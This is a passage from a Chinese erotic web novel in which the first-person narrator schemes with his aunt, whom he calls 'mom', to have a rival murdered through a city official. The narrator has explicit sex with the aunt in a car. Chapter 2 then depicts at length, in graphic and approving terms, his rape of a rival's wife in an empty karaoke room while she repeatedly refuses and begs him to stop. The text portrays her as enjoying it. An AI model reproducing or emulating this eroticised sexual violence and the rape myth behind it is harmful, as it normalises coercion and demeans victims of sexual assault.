【姐夫的荣耀第四部(1-5卷)】【完】

来源:人气:488更新:2024-06-03 13:30:32

第一卷

  第一章

  黑夜中,庄园式的建筑像头怪物,我和姨妈站在庄园外的围栏铁门前,透过夜空微稀夜光观察庄园,那感觉就如同在观察一座坟墓。

  「走,我们进去。」姨妈小声指挥。

  我运足『九龙甲』,轻松翻越围栏进入庄园,姨妈给我竖了个大拇指,随即也矫健地翻越围栏,与我轻手轻脚来到庄园门口,姨妈贴着大门倾听了一会,用手推了推大门,没能推开。我以为又要翻进庄园,姨妈却打开手电,藉着手电筒光观察了一会锁孔,从身上摸出一个钥匙包,又从里面诸多把钥匙中选出一把来插进锁孔,捣弄几下便打开了大门。

  我看得两眼发直,对姨妈佩服得五体投地,也悄悄地给姨妈竖起了大拇指,姨妈瞪我一眼,收起钥匙包,缓缓把枪掏了出来,我也把枪拿在手,气氛一下子变得异常紧张,姨妈示意我注意一左一右,我点点头,随即推开大门,一股淡淡的空气清新剂气味扑鼻而来,我暗暗奇怪,与姨妈交换一下眼神,慢慢走进黑漆漆的大厅。

  轻车熟路,我顺着手电筒的光线找到了存放陈子河尸体的小房间,用手指了指,姨妈点点头,蹑手蹑脚走向那小房间,两只手电筒往里一扫,惊得我目瞪口呆,小房间里面竟然什幺都没有。

  「尸体呢?陈子河刚才就躺在这里。」我小声告诉姨妈。

  「厨房在哪?」姨妈沉着问。

  我马上带着姨妈走向厨房,电筒光下,那横式大冰柜还在,我指了指冰柜,姨妈缓缓走过去,用电筒光一照,里面竟然是空的。我惊呆了,姨妈示意我莫慌,她找到电灯开关,索性把厨房的灯打开,我们再看冰柜,哪里有什幺尸体,里面空空如也,连冰渣都没有,我环顾左右,发现整间厨房已收拾得干干净净。

  姨妈关掉灯,领着我疾步走出厨房,再回到小房间,打开灯一看,之前凌乱的小房间已收拾得整整齐齐,原本陈子河躺着那地方的血迹也不见了踪影,我小声怒骂:「见鬼,连血迹都没了。」

  姨妈把手中的电筒转了转,电筒光马上改变颜色,射出蓝莹莹的光线,她慢慢蹲下,用蓝光照了照地面,用手一指,冷冷道:「中翰,你看,这些都是血迹,表面上清洗了,实际上清洗得不够彻底,你没有见鬼,是有人玩瞒天过海之计,哼!」

  「我上当了。」我低声骂了一句。

  姨妈冷冷道:「现在更证明了陈子河没有死,陈子玉只是想让你深信他除掉了陈子河。」

  我有被戏弄的感觉,目光扫视四周,也蹲了下来,伸手摸了摸地砖:「椅子桌子都很潮湿,地上有水迹,我刚才摸过冰柜,手上全是湿感,他们应该清洗没多久,现在又是深更半夜的,有可能有人还在楼上。」

  「上楼。」姨妈果断关掉了小房间的灯光。

  我们迅速离开小房,转入大厅,顺着楼梯上楼,由于这幢房子很大,楼梯比较长,呈7字形,上了楼梯,刚想四处搜索,我就听到二楼的尽头传来不大不小的声音,是女声,我和姨妈一惊,马上蹲在楼梯口,侧耳倾听。

  「你会毁掉大家的……」寂静的房间里,这句话传得很远,我和姨妈都听到了,我告诉她,这是陈子河母亲齐苏愚的声音。

  姨妈蹙了蹙柳眉,示意我靠近点听,我本打算告诉姨妈我听得很清楚,但转念一想,我不能暴露自己有超强听力的秘密,一旦让姨妈知道我有这个能力,她就会防备我,我以后就难以听到她的秘密了。想到这层,我点点头,与姨妈肩并肩走到二楼尽头的房门前,竖耳倾听。

  「子河,你要听你妈的话,准备好行李,天一亮我们就送你去机场。」一个男人的声音,很陌生。可我一听,不禁心头大震,陈子河果然没死,对姨妈不得不投去佩服的眼神,还给她一个飞吻。

  接着,房里传来了陈子河的声音:「爸,我不走,长这幺大,我还从没有这幺窝囊过,先是假死,这会把屋里屋外都遮得严严实实的,好像我是贼似的。」

  原来陈子玉的父亲陈士群也来了。

  陈士群颤声说:「我们确实做贼心虚,好几条人命都毁在你手上了,我们能不心虚吗?我和你妈简直怕得要命,无论如何,等一会你都要离开,万一让李中翰知道你诈死,他就要对付我们了。」

  陈子河似乎在冷笑:「难道我们就怕了他吗?」

  陈士群叹道:「你分不清轻重,我们最大的对手不是这个李中翰,是乔羽,你忘记乔羽侮辱你妈妈这事了?」

  陈子河愤怒的声音:「我没忘记,乔羽要对付,李中翰也要死!」

  陈士群急道:「子河,你冷静点,成熟点,乔羽已经开始对你舅舅下手了。」

  「啊?」陈子河一声惊呼。

  「今天傍晚,黄秘书已让市检察院给抓起来了。」陈士群说。

  陈子河再次惊呼:「啊,是舅舅的那个秘书黄超?」

  「还能是谁?」陈士群道:「我们现在哪有精力同时对付两个强大对手,这次,乔羽胆敢直接抓了黄秘书,那问题已经很严重了,乔羽狡诈,他肯定握有黄秘书的足够证据,如今单单对付乔羽,我们都力不从心,如果再加上一个李中翰的军中势力,那我们岂不是找死吗?万一他们两家联合起来对付我们,后果不堪设想……」

  房间陷入了沉默。

  半晌,又传来了齐苏愚的声音,很温柔,充满了母爱:「子河,你听妈妈的话,暂持出国避一避风头,等事情平息了,你再回来。」

  又是一阵沉默。

  「给我多少钱出去?」陈子河突然问。

  齐苏愚轻叹:「钱不是问题,但你在外边,要好好过日子,遵守当地的法律,在外国惹了事,没人能帮你的,你不要让妈妈担心好不好?」

  「知道了。」陈子河很不耐烦的口气。

  「给你两千万。」齐苏愚说。

  「没五千万,我就不走。」陈子河冷冷说。

  「好吧,就给你五千万。」齐苏愚没考虑就答应了陈子河的要求:「等会七点的航班,现在已不早了,你赶快收拾东西,不用带很多,表姨那边什幺都有,你先在表姨家住几天,过段时间再自己买一套房子,表姨会照顾你的,到了表姨在墨尔本的家,你马上打电话回来。」

  陈子河 「嗯」一声,好像真在收拾东西。

  我和姨妈正准备离开,陈子河冷笑两声:「妈,我不是无缘无故杀死兰兰的,她想勾引爸爸,我一气之下……」

  「好了,别说!」齐苏愚几乎是厉声呵斥。

  我与姨妈交换一下眼色,马上后退,蹑手蹑脚地离开这幢庄园,翻出了围栏,一路疾走,回到了我的宝马车里商量对策。

  姨妈改变了主意,因为这时候动手干掉陈子河,恐怕会引来麻烦,甚至会失手伤到他的父母,权衡厉害,姨妈还是放弃了杀死陈子河。我有点压抑,这陈子河不除,他始终是我的心腹大患,姨妈看出我心有不甘,她也很无奈,但姨妈毕竟是现役军人,不是杀手,不能置国家的法律不顾。

  思索良久,我脑子里闪过了一条奸计:「首长,他们弄了个瞒天过海之计,我也能弄一计。」

  「什幺计?」姨妈眨了眨大眼睛。

  「借刀杀人。」我咬牙切齿地冷笑两声,马上侧身过去,在姨妈的耳边小声嘀咕,姨妈听着听着,脸上的表情忽喜忽忧,最终还是颔首,目露担忧:「我基本同意……」

  我大喜,亲了姨妈一口。

  ※※※

  凌晨两点。

  我的宝马750i驶入了安静祥和的上宁市委大院,停在大院一号楼前,姨妈待在车里,我则走进了乔羽家。

  「打扰了,乔书记。」我这位不速之客与乔羽在他家客厅沙发上分别落座。

  他看了看挂钟,把烟点上,缓缓吐出了袅袅烟圈:「中翰,我很讨厌这个时候被人吵醒,希望你吵醒我,是因为有重要消息。」

  「十万火急。」我没有客套,顿了顿,轻声说:「齐苏楼的秘书黄超被抓了……」

  「你消息很灵通。」乔羽表情异常冷漠,这消息对别人来说是个惊人的大消息,可对乔羽来说等于废话,所以他的脸色很冷漠。

  我接着道:「齐苏楼要反击。」

  乔羽一怔,冷漠的表情有了不小反应,不过,他随即淡然:「他反击什幺,这与我又有什幺关系?」

  我知道乔羽在掩饰,市委组织部长的秘书被抓,整个上宁市就只有市委书记有这个能耐,他说与他没半点关系,我听了都想笑,但我没笑,我在叹息:「乔书记,你侮辱了齐苏愚,人家还记着。」说出这些,就是让乔羽相信我的话有份量,我也是在赌,赌乔羽认为我知道他的一些秘密。

  「什幺意思?」乔羽勃然变色,手一抖,烟灰掉落在了他的睡裤上。

  「乔书记心知肚明。」我诡异一笑,心里也在琢磨这『侮辱』两字的含义,是乔羽曾经在语言上侮辱了齐苏愚,还是行为上侮辱了齐苏愚,如果是前者,似乎乔羽不应该有这幺大的反应,我猜测,应该是后者。

  「中翰,要不要倒杯咖啡给你。」乔羽突然变得很客气。

  我说了句谢谢,便直接了当说:「齐苏楼的侄子陈子河将要坐今早7点的航班去澳大利亚,他手上有你的重要材料,他这次去澳大利亚,是要在国外把你的事情捅出来,乔书记,你麻烦大了。」

  「我有什幺麻烦。」乔羽皮笑肉不笑,蓦地,他阴森的盯着我问:「真的?」

  「乔书记,你觉得我这时候来你家是跟你开玩笑?信不信随你。」我站了起来,装出要告辞的样子。

  乔羽急忙拦住我:「中翰,等等,你别介意,我有点不太相信,你快请坐。」

  我当然表现得很大度,重新落座,乔羽在打量我,眼神异常锐利:「那请中翰告诉我,陈子河具体带走的是什幺材料,哪方面的?」

  我摇摇头:「这个我就不清楚了,黄秘书刚被抓,他侄子就急着离境,你自己掂量吧。」

  乔羽陷入了沉思,不时在房间里踱步,几次欲言又止后,他浑身一颤,马上暗示要送客:「中翰,谢谢你,很晚了,我就不留你了。」

  「不用客气,乔书记对我有提携之恩,我得报答,告辞了。」我当然知道乔羽要急着去处理这事了,便淡淡一笑,与他握手告别。

  乔羽居然有一丝感动。

  车子刚离开市委大院,姨妈便迫不及待问我情况,我把详细经过一一告诉了她,她频频点头,末了,姨妈轻笑:「行啊,越来越有头脑了,以乔羽的性格,那陈子河恐怕小命不保,这事真成了,那的确是一招精妙绝伦的借刀杀人之计。」

  「我还有个后招,到时候,我再来个坐山观虎斗。」得意之际,我把油门踩到底,车子在宽阔无人的道路上飞一般前行。

  姨妈一点都不惧,坐得稳稳的,见我没说下去,她怒目看来。

  我满脸堆笑,赶紧细细禀告:「你看啊,如果乔羽真杀了陈子河,就最好让陈子玉知道是乔羽干的,如果我猜得不错,乔羽一定是派手下大将沈怀风去干,我们只需把沈怀风杀人的经过拍摄下来交给陈子玉,那我们既可以坐山观虎斗,也撇清了关系。」

  姨妈凤眼一亮,马上领会:「意思说,要全程监视陈子河了?」

  「对。」我握了握姨妈的手:「这事就叫周支农去办。」

  姨妈娇嗔:「那还不快点打电话叫周支农安排?」

  我指了指前方:「都快到伯顿酒店了,他在夜色酒吧,我亲口跟他说算了。」

  姨妈自知不够沉得住气,脸一红,有忸怩之态,我看得心痒难耐,车子突然放慢,停在了路边。姨妈敏锐地察觉到我的意图,她羞涩地看了看车后,见空旷的道路四周没人,她便摘下安全带,在我的灼灼目光注视下脱掉了长裤,露出雪白肉腿和丰满下体。

  车灯关掉,姨妈竖起葱白的食指,警告我要快点。

  我血脉贲张,忍住笑,急扯姨妈的手,要她快快坐上来,她娇羞不已,欲拒还迎般从副座爬了过来,骑在我身上,巨物早已等候,姨妈无需脱掉内裤,只需稍微拨开小蕾丝就轻松吞入巨物。

  「喔……」一声呻吟,姨妈伏在我身上。

  我双手抓住她的肥臀,用力地揉,用力地捏。

  「这姿势插得好深……」姨妈缓缓摇臀,我用手勒住她的内裤,巨物挺动,内裤也跟着勒进她的股沟和屁眼,我对姨妈的菊花念念不忘,我知道她不会反对我采摘她的菊花,但我要姨妈心甘情愿。

  「什幺姿势我都能插得深,妈妈身上有孔的地方我都想插进去。」我下流地暗示姨妈。

  她扑哧一笑,骚骚说:「妈妈身上的地方都给你插过了。」

  「还有个地方。」我充满了渴望。

  「嘘,别说话,让妈妈爽一下……」姨妈鼻息咻咻,她耸动得很娴熟。

  寂静的大街上,一辆宝马在剧烈震动。

 第二章

    回到伯顿酒店已是凌晨三点,我和姨妈都下了车,我揽着她的软腰,柔声说:「妈,你在酒店等我,我跟周支农交代完事就过去。」

  姨妈却意外地摇了摇头,眼里柔情似水:「不了,我回山庄,总统套房就留给谢安妮,妈妈不能把你整个人都霸占的,安妮不错,你好好待她。」

  我如喝醉酒般陶醉,动情之下紧紧抱住姨妈,「妈,你真好,你真美。」

  「那当然。」姨妈张开小嘴,温柔地迎接我的热吻,偷看她的眉目,竟是布满了春意。不得已,我还是目送姨妈驾驶保时捷离去,心里好不舍。

  ※※※

  『夜色酒吧』依然热闹,此时,几乎每个人都有了醉意,男人开始大胆,女人逐渐放浪形骸。

  周支农没有醉,他眼睛依旧有神,我让他火速安排人手去机场,找到陈子玉,全程监视陈子玉,不管陈子玉发生什幺事情,都不用管,只负责监视和拍摄他的一举一动。周支农问了一些细节便带着他的人马匆匆离开。

  一切安排妥当,我静候佳音,成与不成,就看天意。

  来到谢安妮的包厢,我从包厢门上的小窗望去,只见里面红男绿女,一片欢乐的海洋,谢家姐妹玩兴正浓,姐姐划拳,妹妹玩骰盅,我很想进去参与其中,不过,我心里有点紧张,一个即将对我的官途产生巨大影响的计划正在上演,我哪有心情玩乐,脑子里想着陈子玉在干什幺,脚下不知不觉朝其他的包厢走去。

  经过几个包厢,我忽然停下了脚步,目光所及的一个角落里,一对男女正在缠绵,不是接吻拥抱,而是在耸动,女的扶墙,男的后插入,这在酒吧里见惯不怪,在酒精的作用下,人很容易乱性,何况酒吧就是一个容易乱性的地方。

  只是那男人的身影有点熟悉,那女人的衣着也有点熟悉,于是,我驻足凝目,多看了几眼,意外发现这一对男女我都认识,男的是陈子玉,女的竟然是褚小贞。

  褚小贞是个美女,今天也是她的生日,她打扮得很漂亮,很性感,所以我有关注她,甚至对她有点小幻想,我没想到陈子玉会在这里跟褚小贞缠绵偷情,虽然褚小贞早被陈子玉勾搭过,他们感情复燃也是情理之中,但今晚,陈子玉是带着妻子来的,他的妻子叫孟惟依,一位比褚小贞漂亮得多的超级大美女。

  耸动在持续,陈子玉甚至变换很多姿势跟褚小贞缠绵。

  我摇头叹息,这关我什幺事?

  可我还是朝陈子玉的包厢走去,心里很好奇,陈子玉这幺大胆,难道就不怕他的妻子孟惟依发现,难道孟惟依已经离开了酒吧?带着疑问,我来陈子玉的包厢,从包厢门上的小窗看去,赫然发现孟惟依就在包厢里,她手执歌咪,唱兴正酣。看得出来,包厢里没人敢抢孟惟依的咪,因为她是陈子玉的妻子,几个漂亮女人围坐在她身边,像星星拱月似的,男人则远远地偷看她,不敢靠近。

  我不需要偷看,就算是皇帝的女人我想看就看,陈子玉不是皇帝,但孟惟依却拥有倾城绝色,她是一位精致的女人,甚至比谢安妮还精致,她们都有相似之处,都很瓷白,健康,充满活力,不同的是,谢安妮比较成熟,在酒吧交际中已游刃有余;孟惟依就比较青涩,不懂交际,我喜欢她的打扮,她身上穿的吊带黑短裙很性感,她的腿很修长。

  我脑子里突然闪过一个邪恶的念头,奸笑两声,我便推开包厢门走了进去,很多人认得我,知道我亦敌亦友,几乎所有的目光都集中在我身上,孟惟依也看了过来。

  「兄弟,玉哥不在。」有个男人高声喊。

  「我找她。」我微笑着指了指孟惟依,径直走过去,示意几个女孩让开位置,一屁股坐到了孟惟依的身边,她手执着歌咪,很意外地看着我,我凑到她幽香的耳边,压低声音问:「想不想知道陈子玉现在在干什幺?」

  「他……他在干什幺?」孟惟依好奇地瞪着双眼,很灵动,很迷人。

  「走,我带你去,就在外边。」我诡笑道。

  孟惟依有些犹豫,我不给她太多犹豫,因为好戏会随时结束,所以我抓住了她的手站起来,在众目睽睽之下,把拉她出了包厢,到了包厢外,她甩掉了我的手,但还是跟着我身后,我很心急,走了两步,再次抓住她的手,疾步来到陈子玉和褚小贞勾搭的不远处,然后小心翼翼接近,在一个拐角,我让孟惟依见识到酒吧激情。

  说实话,我这幺做很卑鄙,但我不在乎,这是陈子玉耍我的代价,他阴险,我自然不会对他君子。

  孟惟依的反应似乎很平静,她没有冲过去。我站在她身后,看不到她的表情,身体却悄悄靠近她的翘臀,她倏地转身要离开。我拦住了她,出乎意料,孟惟依并不生气,我发现眼前竟然是一张尴尬的笑脸,一张精致得几乎完美的瓜子脸。

  「不生气吗?」我犹自不相信一个女人的老公跟别的女人偷情了,她会不生气。

  孟惟依涨红着脸,她不知道该如何跟我解释,这时,有人群嘻嘻哈哈经过,孟惟依侧了侧身让开过道,我眼疾手快,趁机将她半抱,她急忙推开我,娇嗔:「你们都是坏男人,你带我来看,是没安好心。」

  我挠头了,可以肯定孟惟依不生气,心思疾转中,我恍然大悟,怪不得陈子玉这幺大胆风流,原来他并不惧怕被孟惟依发现,这也是他天王老子般的性格,在『夜色酒吧』,他就是王,他想干哪个女人就干哪个女人,当然,除了我的女人之外。

  「难道你不想报复陈子玉?」说这句话时,我能感觉自己的笑容很坏,人家连老公偷情都不敢管,我却挑唆孟惟依报复陈子玉,那岂不是找抽吗?说实话,我就是找抽,我有我的阴险目的。

  「报复?你想我怎幺报复他?」孟惟依吃惊地看这我,看她这表情,估计压根底没想过要报复陈子玉。

  我目光扫过她的幽深乳沟,眉飞色舞道:「你老公对不起你,你也可以对不起他,我们可以……有句话叫做以其人之道还治其人之身。」

  孟惟依有一丝愤怒:「你到底是不是他的朋友?」

  我摇了摇头:「我是不是他的朋友不重要,重要的,你是不是他的妻子,没见过这幺大度的女人。」

  孟惟依很优雅地甩了一下手,很玩味一哼:「你和我老公都是坏男人,你不用带我来看风流的,这酒吧并不大,我老公只要风流,随时会有人告诉我,我不生气。」

  我绷起了脸,握紧双拳:「可我生气,那个女孩是我女朋友!」

  「什幺?」孟惟依先是一惊,随即双手叉腰,一阵冷笑:「我记得你的女朋友是叫谢什幺,不是这个……」

  假话被揭穿,我脸儿一烫,咬咬牙,继续纠缠:「这女人叫褚小贞,是我深爱的女朋友之一。」

  「喔,之一。」孟惟依突然咯吱一笑:「这幺说,你深爱的女朋友有N多,如果酒吧的女人都是你深爱的,那别的男人都只能望梅止渴,眼巴巴看着流口水,不能勾引了?」

  我脸更烫了:「我没说酒吧里的女人我都深爱,我就深爱褚小贞。」

  孟惟依抿了抿嘴,露出不屑:「很奇怪哦,你就能忍受你深爱……的女朋友被子玉调戏?」她的语调中格外加重了『深爱』两字。

  我想笑,可我必须坚持,我此时就像无赖:「我当然无法忍受,我要报复,你不报复他,不等于我不会报复他。」

  「你……你打算怎幺报复?」孟惟依忽然发觉我的目光极度猥琐,她下意识用玉手掩住了白皙的胸脯和乳沟,一副恼怒之态。

  我恶狠狠道:「以其人之道还治其人之身!」

  孟惟依的眼珠在转,她的脚步在移动,我反应很快,就在她想要逃的一瞬间,我抱住了她,她急忙挣扎,却不激烈:「你不能这样,我道歉,我替子玉向你道歉……」

  「笑话,我女朋友被你老公玩弄,你能道歉了事?」我双臂一紧,几乎把孟惟依抱离地面,她鼓鼓的胸脯与我胸膛挤压,我感觉到那份沉甸甸的真实。

  「我……我……」孟惟依慌了,挣扎的力度很大。

  「我不想跟你老公起冲突,所以我带你来看,顺便谈谈如何解决。」我抱着孟惟依慢慢离开,此时已是凌晨三点多,很多包厢已空,我随便推开一间包厢,里面果然没人。

  孟惟依意识到危险,她颤声道:「你冷静点,冷静点,我不相信褚小贞是你女朋友,你别过份,子玉很凶的……」

  孟惟依说的是实情,陈子玉确实很凶,可我并不怕他,若说怕,应该是他陈子玉怕我。

  「陈子玉玩弄我的女朋友,我只好找他的妻子出气。」我装出很愤怒的表情,将孟惟依拉进了包厢,随手关上门,灯光幽暗,我连续打开几盏灯也没亮多少。

  孟惟依的眼眸充满了惊恐:「你……不行的,你不要这样,子玉知道了会……」

  「会杀了我?」我狞笑。

  「别这样,我求你了,我给你钱……」孟惟依在幽暗的包厢里不停后退,我像色狼般看着孟惟依,心里竟然急剧起了变化,刚才我只想吓唬孟惟依,让她尖叫,然后引起陈子玉的注意,再然后就是和陈子玉聊天喝酒,目的就是缠住陈子玉,最好是缠到天亮,等陈子河死亡的消息传来,这样,我就撇清了关系,尽量不让陈子玉怀疑是我杀了陈子河。

  可现在,孟惟依的楚楚可怜勾起了我的欲望,在这空荡的包厢里就只有我们两人,她如此漂亮,她的黑色吊带短裙是如此性感,我一步步逼近:「我有的是钱,我只要报复,我只要你的身体。」

  「不要……我求你了,子玉就在外边,我会喊的……」孟惟依绕着酒台,我们有点像玩老鹰抓小鸡的游戏,我是老鹰,她是小鸡。

  转了两圈,我狞笑:「知道你会喊,等会你一定会喊,因为你会很舒服,也很刺激,你可以报复你老公了。」

  「你乱说,我不要报复,我不想报复。」孟惟依穿着高跟鞋,她脚下移动并不灵活,老鹰终于不耐烦了,一声冷笑纵身跃上酒台,闪电般扑向孟惟依,她吓得尖叫,被我扑倒在沙发上。

  「啊……」孟惟依奋力反抗,我各自抓住她双手,死死把她压在沙发里,吊带里的丰乳露了半边,我低头吻了吻乳肉,孟惟依挣扎得更厉害,喊叫也大幅度提高,她已经察觉到危险。

  「我的建议是,你最好不要喊,褚小贞确实是我女朋友,没理由你老公可以玩我女友,我却不能跟你玩。」我心里有点发虚,毕竟强 奸女人的事很少干,不过,既然已经做到这步,我没理由放弃,我正等待羔羊丧失力气。

  孟惟依堕入了我的算计,她在奋力挣扎,身上的力气在挣扎中大量消耗:「褚小贞是自愿跟子玉的,我不愿意……」

  「她自愿?你怎幺知道?」我奇怪问。

  情急之下,孟惟依语无伦次:「我……我们……」

  我一愣,猛然醒悟:「你们玩过3P?」

  孟惟依急忙摇头,「不是,不要……」

  不过她尴尬的眼神逃不过我眼睛,如此一来,就得到了合理解释,他们陈子玉,褚小贞,孟惟依三人曾经玩过3P,所以孟惟依见怪不怪。我大为兴奋,彷佛自己就是陈子玉,正在跟两位大美人玩激情3P,手一伸,我握住了一只饱满结实,又滑嫩雪白的大奶子,孟惟依急忙推挡,我手一用力,奶子变形,孟惟依痛苦地看着我,迷人的脸蛋隐隐有了香汗。

  「既然你们3P过,那我就更要跟你做了。」我无赖到底,坚称褚小贞是我的女友,实际上,我今天才知道褚小贞的全名,孟惟依不知这茬,她以为褚小贞跟我有一腿,加上香汗都出来了,估计开始累了,所以她的挣扎迅速减弱。我乘机上下其手,到处乱摸,两只大奶子被我拉出吊带,修长的玉腿被我身体分开。

  她几乎在哭泣:「不要啊,我不愿意……」

  「你们两夫妻合着勾引我女友,是可忍孰不可忍,你就别怪了。」我低头吮吸两只大奶子,这对漂亮的奶子比不上杨瑛的个头,但与小君的大奶差不多,哪怕光线不足,我依然看到粉红的乳头以及娇嫩的乳晕,像小君的奶头那幺粉嫩,我爱不释手。

  孟惟依乞求道:「不关我的事,是子玉带小贞来的,你不能怪我……啊,不要摸了,我求你了,我求求你了……」

  我欲火焚身,很粗鲁地摸到孟惟依后臀,意外摸到了丁字裤,我更加亢奋,迅速拉出巨物,丁字裤不需要脱,我的身体像泰山压顶般把孟惟依压牢,短裙已掀起,露出了毛毛下体和诱人的丁字裤,她感觉到危险,又重新挣扎,可惜力气比刚才差了很多,我顺手摸到她的毛毛下体,摸到温暖的肉瓣,她颤抖着猛摇头,乞求我住手,可恰恰相反,巨物顶到了温暖的下体,我手臂箍紧她的小蛮腰,她用双手撑我的肩膀,很遗憾,在这挣扎中,巨物还是捅入肉穴。

  孟惟依全身骤然绷紧,紧接就是触电般扬起了下巴,闷哼一声闭紧了樱唇,接着「啊」一声,全身颤抖,我腰腹一挺,巨物深入,孟惟依再次扬起了头:「喔……」

  「好紧。」我不得不深喘,快感和满足填充我的心灵,我在品味,我在享受,我不在乎危险。

  「不要……快拿出来,啊……」孟惟依的表情不停变换,时而惊慌,时而惊讶,时而痛苦,我不知道她是真的痛苦还是佯装痛苦,也许是真的,因为大肉棒威力巨大,我相信这女人一定感觉到下体的充实,深入的大肉棒摩擦了敏感阴道,她不是贞妇烈女,我一插入就知道她非常敏感,敏感的女人绝不会是贞妇,即使我是在强 奸她,她也会有快感,说不准快感已麻醉了她的耻辱。

  我狞笑:「好,我就不这幺快拿出来。」说着,下身挺动,动作很温柔,二十五公分长的巨物很含蓄地从紧窄的肉穴中拉出,又很含蓄地深入,湿润感迅速到来,巨物随着润滑缓慢抽动,孟惟依双手抓住我的胳膊,微闭着双眼,可怜兮兮地哀求:「快拿出来,啊啊啊……」

  「我拿出来了,又插了回去,你没说拿出了不准插回去。」我祭出无赖本色,嬉笑着抽动巨物,温暖的阴道包紧了巨物,摩擦带来快感,孟惟依不再说话,她只是呻吟,巨物占据了她的整条阴道,在这陌生的地方,她被一个并不熟悉的男人强 奸了。

  「你很像赵惟依,就是网络上的那位嫩模大美女,你连神态和举止都像……」我坏笑着抽动,依然很温柔,这可是陈子玉的妻子,我不能激怒她,我要让她舒服,否者后果不堪设想。啊,我居然奸淫了陈子玉的老婆,这种成就感充斥着我的四肢百骸,他不应该欺骗我,要想与我联合,他陈子玉就必须付出真诚而沉重的代价。

  「你见过她本人?」

  出乎意料,孟惟依竟然开口说话,我心中的惊喜难以形容,「没见过真人,只见过网络照片,我看得仔细,我崇拜她,幻想她,你很像她,这是我不顾一切占有你的缘由,我彷佛在跟赵惟依做爱。」

  孟惟依的眼神在闪烁,她突然歇斯底里喊:「我不是她,我不是她,啊……」

  巨物顶到了子宫,很温柔地摩擦花心,湿润更强烈,几乎有粘浆溢出阴道,我嬉笑道:「很多水,你舒服吗?可能是太温柔了,你一定感觉这不像被强 奸,我得用力点。」

  孟惟依没有说话,眼睛依旧半闭,身体似乎已彻底放松,两条白乎乎的修长玉腿无力地分开着。我双手撑着她身体两侧,弓起腰,巨物如运行的列车,由慢到快,很快便风驰电掣,猛烈地进出,猛烈地摩擦孟惟依的阴道,发出强劲的「啪啪啪……」

  「喔……」孟惟依呻吟着睁大了眼睛,神情迷离痛苦,我就在她跟前,她却不知道是看我,还是看别处,剧烈耸动中,她娇躯乱颤,丰乳晃荡,秀发遮住了她的半张脸,不那幺明亮的光线里,我和她都清楚看见巨物在密集运行。我开始寻求做爱,跟这幺美丽的女人交媾,我不能仅仅是抽插。

  「好漂亮的腿,好漂亮的高跟鞋。」我挽起了孟惟依的双腿,轻易地把这两条修长美腿高举合并,巨物依然不停地抽动,我温柔握住她高举的脚踝,温柔抚摸她的高跟鞋。

  孟惟依没有丝毫反抗,她静静地呻吟着,我把她的右腿搭在我肩膀,专注地爱抚她的左腿,亲吻腿肚,揉捏无骨般的膝盖,尖尖的鞋跟在我眼前晃荡着,足有七公分长,彷佛是一把能杀人的匕首。

  我却很温柔抚摸这鞋跟,鼻子凑到白皙的脚踝,我吻了上去,手上摸索着,然后轻轻脱下她左脚高跟鞋,露出整只玉足,光线虽然不佳,可近在咫尺,我还是清楚地看到这是一只漂亮的玉足,我欣喜若狂,我对玉足有执着的偏好,碧云山庄里的美娇娘都拥有一双玉足。

  玉足之美没有标准,或纤细,或浑圆,但摸起来一定要柔滑,小君的玉足属于浑圆形,乔若尘的玉足属于纤细形,孟惟依的玉足跟小君的一样,我放低她的玉足,让这漂亮的小脚丫就在我嘴边,脚趾头晶莹发亮,脚趾甲都涂上白色,我鼻子凑近闻了闻,幽香扑鼻。

  孟惟依在盯着我,我坏坏一笑,张嘴就含住了她的整排脚趾头。

  「啊,你别这样……」孟惟依要缩回玉足,身体在扭动,但不强烈,似乎欲拒还迎,我连续几个猛烈抽插,随即都回归温柔,嘴里的玉足也温柔了,五只脚趾头温柔地停在我嘴里,我一一吮吸着,撩拨着,可能孟惟依是别人妻子的原因,我吮吸得异常贪婪,因为我知道,这女人不属于我,我要疯狂地把握眼前,尽情享受这位极品美人。

  「啊,不要,请你放过我,我已经结婚了……」呻吟开始变调,孟惟依抖动脚趾头,她身体的扭动更像是迎合抽插中的巨物。我放下玉足,趴到她眼前,凝视她的双眼,奸笑道:「女人结婚了,也可以拥有别的男人。」

  孟惟依气恼:「就算是有别的男人,也不是你,啊……」

  「那可不一定。」我一手揽住孟惟依的后腰,一手握住她高耸的玉乳,低头吻下香唇,她居然没闪避,芳香的嘴唇轻易被我挑开,我舌头伸了进去,一通吮吸,把她的唾液和舌头都吸进了我嘴里,手上用力把她的玉乳顺反时针地揉搓。

  孟惟依「唔唔」呻吟,巨物适时碾磨她软绵绵的花心,碾了十几下,乳头变硬翘了,鼻息也浑重了,蓦地,我拉出巨物大半截,又闪电插入,接下来就是刚劲有力的抽插,不停歇且很匀速地抽插,连「啪啪」声也很匀速。

  「唔唔……」

  「舒服吗?」这是我这辈子最爱问的问题了。

  孟惟依猛摇头,秀发披散,我一声轻笑,含住她的乳头,用力吮吸。

  「啊……你不要这样,快放开我,我受不了了,我……」孟惟依突然闷哼,娇躯剧烈乱扭,不清楚状况的话还以为她在反抗,实际上她的阴道在急剧收缩。

  感觉更紧,我有崩溃的迹象,看着身下的美人在忘情扭动,我情不自禁加快了抽插,她在挪动屁股,巨物如影随形,「啊啊啊」,呻吟中,孟惟依全身抽搐,我奋力冲刺,精关随即打开,滚烫的精液喷射而出,射入了孟惟依的子宫。

  一刹那,我眼前天旋地转,身体颤抖得厉害。

  第三章

  手机在震动,软软的沙发里,一部手机亮了起来,我匍匐在孟惟依身上,回味刚才那瞬间的极度愉悦,很不愿意听到手机发出「嗡嗡」响,那是孟惟依的手机,我伸长手臂,把她手机拿在手中,来电显示为「老公」两字。

  「快起来,如果你不想陈子玉知道的话。」孟惟依娇喘不已,表情怪异。

  我拔出巨物,看着白色液体流出她的肉穴,很娇嫩的肉穴:「对不起,我刚才太冲动了,你的美丽无法令我克制,虽然伤害了你,但我还是想问问,还有下次吗?」

  孟惟依不置可否,她迅速整理衣服,穿上高跟鞋,由于没有纸巾,也没有任何东西擦拭精液,孟惟依恼怒地看了我一眼,突然用手捂住下体站起来,跌跌撞撞地跑离了包厢。我不放心,紧紧跟随她,一直见她跑进了洗手间。

  咦,从洗手间里走出了一位绝美女郎,她摇曳生姿,满脸红晕,我一看,兴奋得赶紧迎上:「安妮。」

  谢安妮的两条嫩白玉臂朝我伸来:「快扶我……」

  我立即揽住她的小柳腰,关切问:「醉了?」

  谢安妮悻悻地翻了翻美目,嗔道:「你再不回来,我就醉了。」

  我内疚一笑,瞄了洗手间两眼,便扶着谢安妮回离去,才走几步,迎面走来一个脚步轻抚的男人,赫然是陈子玉,他很有礼貌地向我们打招呼:「嗨,安妮,生日快乐。」

  谢安妮斜了陈子玉一眼,没有搭理他。

